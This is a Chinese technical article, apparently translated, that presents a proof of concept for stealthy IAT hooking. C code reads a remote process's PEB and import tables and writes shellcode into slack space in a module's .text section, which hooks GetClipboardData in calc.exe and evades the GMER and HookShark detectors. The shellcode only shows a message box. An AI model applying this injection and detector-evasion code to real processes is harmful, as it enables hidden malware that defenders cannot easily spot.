IAT Hooking的一种安全实现方式分析
Hook导入表（IAT hooking）是一个文档齐全的拦截导入函数调用的技术。然而，很多方法依赖于一些可疑的API函数，会遗留一些容易识别的特征，这篇文章探究了一种能够绕过常规检测机制的IAT hooking实现方法。
0×02 传统的实现方式IAT hooking常通过DLL注入的方式实现。向目标进程中注入一个包含有hooking代码的DLL，这个DLL就可以访问目标进程的内存了。这样就可以修改IAT表项，将其指向DLL中的处理函数。这虽然管用，但是容易被检测出来。采用上述实现方法，系统上会留下一些人工修改的痕迹，比如注册表键或者线程以及内存中的模块。更进一步，处理函数的地址指向的是注入的模块而不是原本的导出函数的模块。
这些痕迹不能很好地隐藏注入行为。通过验证表中的每一项是否指向合适的模块（至少应该指向windwos系统模块）就可以很容易检查IAT表项是否被修改。任何恶意模块一旦被识别出来，就可以容易地从内存中提取出来做进一步的分析。
0×03 一种不同的实现方法不使用DLL注入可以避免许多DLL注入中会遇到的陷阱。这可以通过使用OpenProcess、NtQueryInformationProcess、ReadProcessMemory以及WriteProcessMemory与目标进程交互的方法来实现。这虽然需要多做些工作，但却有高价值的回报。
1、较少的人工修改痕迹（不在硬盘上写DLLs，内存中没有DLLs,没有被其他进程拥有的线程等）。
2、较少地调用被认为可疑的函数（VirtualAllocEx、CreateRemoteThread，参数中包含PROCESS_CREATE_THREAD的OpenProcess）。
3、因为hook处理代码位于导入模块的.text段中，所以很难检测出来。
这虽然很长而且容易出错，但实现步骤却很简单清楚：
1、以仅限于查询的方式和VM operation/read/write权限打开进程。
2、通过调用NtQueryInformationProcess获取外部进程的进程环境块（PEB）的基地址。
3、利用PEB中的基址以及ReadProcessMemory函数读取外部进程的主映像。
4、使用ReadProcesssMemory找到目标的ILT/IAT表项。
5、把执行hooking的进程中的处理函数拷贝到一段内存中，并将原始的导入地址写入到该内存的预定位置处。
6、使用WriteProcessMemory把处理函数写入到外部进程中的合适的导入模块的.text区段上。
7、使用WriteProcessMemory更新导入地址。
最终实现了IAT hooking，并且没有被GMER 1.0.15.15641和HookShark 0.9发现。在下面的POC中，我们将挂钩Windows计算器的USER32.dll!GetClipboardData函数。
0×04 定位远程进程的PEB最简单的定位外部进程的PEB的方法是以PROCESS_QUERY_LIMITED_INFORMATION权限调用OpenProcess，然后把这个进程句柄和ProcessBasicInformation (0)结构体传递给NtQueryInformationProcess函数。
DWORD FindRemotePEB(HANDLE hProcess)
{
HMODULE hNTDLL = LoadLibraryA("ntdll");
if (!hNTDLL)
return 0;
FARPROC fpNtQueryInformationProcess = GetProcAddress
(
hNTDLL,
"NtQueryInformationProcess"
);
if (!fpNtQueryInformationProcess)
return 0;
NtQueryInformationProcess ntQueryInformationProcess =
(NtQueryInformationProcess)fpNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION* pBasicInfo =
new PROCESS_BASIC_INFORMATION();
DWORD dwReturnLength = 0;
ntQueryInformationProcess
(
hProcess,
0,
pBasicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
&dwReturnLength
);
return pBasicInfo->PebBaseAddress;
}
0×05 读取远程进程的映像
通过PEB中的ImageBaseAddress成员和ReadRemoteMemory函数，我们能够读取远程进程的映像
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
BOOL bSuccess = ReadProcessMemory
(
hProcess,
lpImageBaseAddress,
lpBuffer,
BUFFER_SIZE,
0
);
if (!bSuccess)
return 0;
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}
0×06 找到远程进程的导入地址
得到远程的映像头之后，我们一定能够找到user32.dll的导入描述符表，然后如同我们获取远程映像那样，使用ReadProcessMemory获得ILT和IAT。
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptors = ReadRemoteImportDescriptors
(
hProcess,
pPEB->ImageBaseAddress,
pImage->FileHeader->OptionalHeader.DataDirectory
);
[…]
IMAGE_IMPORT_DESCRIPTOR descriptor = pImportDescriptors[i];
char* pName = ReadRemoteDescriptorName
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pILT = ReadRemoteILT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pIAT = ReadRemoteIAT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
0×07 注入代码并且修改IAT
正如前面所述，hook处理代码所在的位置可能暴露hooking行为。正好，我们的hook函数位于导出目标函数的模块的.text区段中。下面的函数可以帮助我们通过名称找到合适的远程导入模块。
PVOID FindRemoteImageBase(HANDLE hProcess, PPEB pPEB, char* pModuleName)
{
PPEB_LDR_DATA pLoaderData = ReadRemoteLoaderData(hProcess, pPEB);
PVOID firstFLink = pLoaderData->InLoadOrderModuleList.Flink;
PVOID fLink = pLoaderData->InLoadOrderModuleList.Flink;
PLDR_MODULE pModule = new LDR_MODULE();
do
{
BOOL bSuccess = ReadProcessMemory
(
hProcess,
fLink,
pModule,
sizeof(LDR_MODULE),
0
);
if (!bSuccess)
return 0;
PWSTR pwBaseDllName =
new WCHAR[pModule->BaseDllName.MaximumLength];
bSuccess = ReadProcessMemory
(
hProcess,
pModule->BaseDllName.Buffer,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
0
);
if (bSuccess)
{
size_t sBaseDllName = pModule->BaseDllName.Length / 2 + 1;
char* pBaseDllName = new char[sBaseDllName];
WideCharToMultiByte
(
CP_ACP,
0,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
pBaseDllName,
sBaseDllName,
0,
0
);
if (!_stricmp(pBaseDllName, pModuleName))
return pModule->BaseAddress;
}
fLink = pModule->InLoadOrderModuleList.Flink;
} while (pModule->InLoadOrderModuleList.Flink != firstFLink);
return 0;
}
现在我们需要在.text区段中找到一个合适的地方注入我们的代码。很幸运，区段.text的原始大小必须是PE可选头中指定的文件对齐大小的倍数。除非代码的实际大小可以被文件对齐大小整除，否则在.text区段的末尾就会有足够的空间允许我们注入一小段代码。
以下代码可以在导入模块的.text区段的末尾寻找能够放置注入代码的空间的绝对地址。
DWORD dwHandlerAddress = (DWORD)pImportImageBase +
pImportTextHeader->VirtualAddress +
pImportTextHeader->SizeOfRawData -
dwHandlerSize;
为了保证功能正常，注入到计算器中的代码必须是与位置无关的。在这个POC中我将使用windows messagebox shellcode，并做若干修改，包括函数的起始和结束部分以及一个到0xDEADBEEF的跳转。汇编代码（工程中的handler.asm）使用NASM汇编器编译，然后转成一个C字符串形式的十六进制码。
char* handler =
"\x55\x31\xdb\xeb\x55\x64\x8b\x7b"
"\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b"
"\x47\x08\x8b\x77\x20\x8b\x3f\x80"
"\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b"
"\x7a\x20\x01\xc7\x89\xdd\x8b\x34"
"\xaf\x01\xc6\x45\x8b\x4c\x24\x04"
"\x39\x0e\x75\xf2\x8b\x4c\x24\x08"
"\x39\x4e\x04\x75\xe9\x8b\x7a\x24"
"\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a"
"\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01"
"\xf8\xc3\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\xe8\x9c\xff\xff"
"\xff\x31\xc9\x66\xb9\x33\x32\x51"
"\x68\x75\x73\x65\x72\x54\xff\xd0"
"\x50\x68\x72\x6f\x63\x41\x68\x47"
"\x65\x74\x50\xe8\x7d\xff\xff\xff"
"\x59\x59\x59\x68\xf0\x86\x17\x04"
"\xc1\x2c\x24\x04\x68\x61\x67\x65"
"\x42\x68\x4d\x65\x73\x73\x54\x51"
"\xff\xd0\x53\x53\x53\x53\xff\xd0"
"\xb9\x07\x00\x00\x00\x58\xe2\xfd"
"\x5d\xb8\xef\xbe\xad\xde\xff\xe0";
在注入这段处理函数之前，需要把0xDEADBEEF替换成我们要挂钩的函数的地址。给下面的函数传入合适的参数就可以实现这个功能。
BOOL PatchDWORD(BYTE* pBuffer, DWORD dwBufferSize, DWORD dwOldValue,
DWORD dwNewValue)
{
for (int i = 0; i < dwBufferSize - 4; i++)
{
if (*(PDWORD)(pBuffer + i) == dwOldValue)
{
memcpy(pBuffer + i, &dwNewValue, 4);
return TRUE;
}
}
return FALSE;
}
一旦处理函数修改好，就可以被注入，然后修改导入地址指向这个处理函数。
// Write handler to .text section
bSuccess = WriteProcessMemory
(
hProcess,
(LPVOID)dwHandlerAddress,
pHandlerBuffer,
dwHandlerSize,
0
);
if (!bSuccess)
{
printf("Error writing process memory");
return FALSE;
}
printf("Handler address: 0x%p\r\n", dwHandlerAddress);
LPVOID pAddress = (LPVOID)((DWORD)pPEB->ImageBaseAddress +
descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));
// Write IAT
bSuccess = WriteProcessMemory
(
hProcess,
pAddress,
&dwHandlerAddress,
4,
0
);
if (!bSuccess)
{
printf("Error writing process memory");
return FALSE;
}
return TRUE;
用一个函数调用来hook特定函数非常简单，我们需要的只是目标进程的ID，模块名称，函数名称，处理代码以及处理代码的大小。
HookFunction
(
dwProcessId,
"user32.dll",
"GetClipboardData",
handler,
0x100
);
0×08 POC测试
编译出一个可执行程序（在资源中可找到下载信息）。在运行它之前确保有一个计算器在运行。执行这个程序，它会试图hook遇到的第一个名为calc.exe的进程。确认没有发生错误。成功注入后的输出信息应该如下所示：
Original import address: 0x762F715A
Handler address: 0x76318300
Press any key to continue . . .
要测试hook，可以使用计算器的粘贴功能。操作后，会有一个消息框弹出来。当消息框关闭后计算器可以恢复正常功能。
0×09 结论尽管在hook检测方面做了许多工作，这篇文章中描述的IAT hooking证实了通过变化现有技术，rootkit检测程序是可以被规避的。把同样的方法应用到不同的形式中，比如EAT hooking或inline hooking，应该也能取到同样的改进效果。
0×10 资源IAT Hooking Revisited Proof Of Concept Source
The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Microsoft PE and COFF Specification
Packet Storm
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